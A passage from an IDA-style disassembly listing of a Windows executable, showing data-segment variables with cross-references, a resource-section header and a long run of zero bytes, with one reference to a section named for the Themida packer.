XREF: sub_41E742+311w ; sub_41EA6B:loc_41EABBr ... dword_4DD374 dd 0 ; DATA XREF: sub_41E742+22Dr ; sub_41E742+260r ... dword_4DD378 dd 0 ; DATA XREF: sub_41E717r ; sub_41E742+2CBr ... dword_4DD37C dd 0 ; DATA XREF: sub_41E717+8r ; sub_41E742+2D0r ... dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr ; sub_41BEF3+Fr ... dword_4DD384 dd 2460000h ; DATA XREF: sub_41BA91+5Ar ; sub_41BBE2+C0r ... dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr ; sub_41BBE2:loc_41BC12r ... dword_4DD38C dd 142340h ; DATA XREF: ___:0042368Ar ; ___:004237B5r dword_4DD390 dd 1 ; DATA XREF: ___:00423780w dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr ; sub_420B0D+11w ... dword_4DD398 dd 2460758h ; DATA XREF: sub_41C1B3+3Er ; sub_41D9B3+13r ... dword_4DD39C dd 2460758h ; DATA XREF: sub_41C1B3+35r ; sub_41C1B3+57r ... dd 318h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DF000h unk_4DF000 db 0 ; DATA XREF: Themida_:0054D860o db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 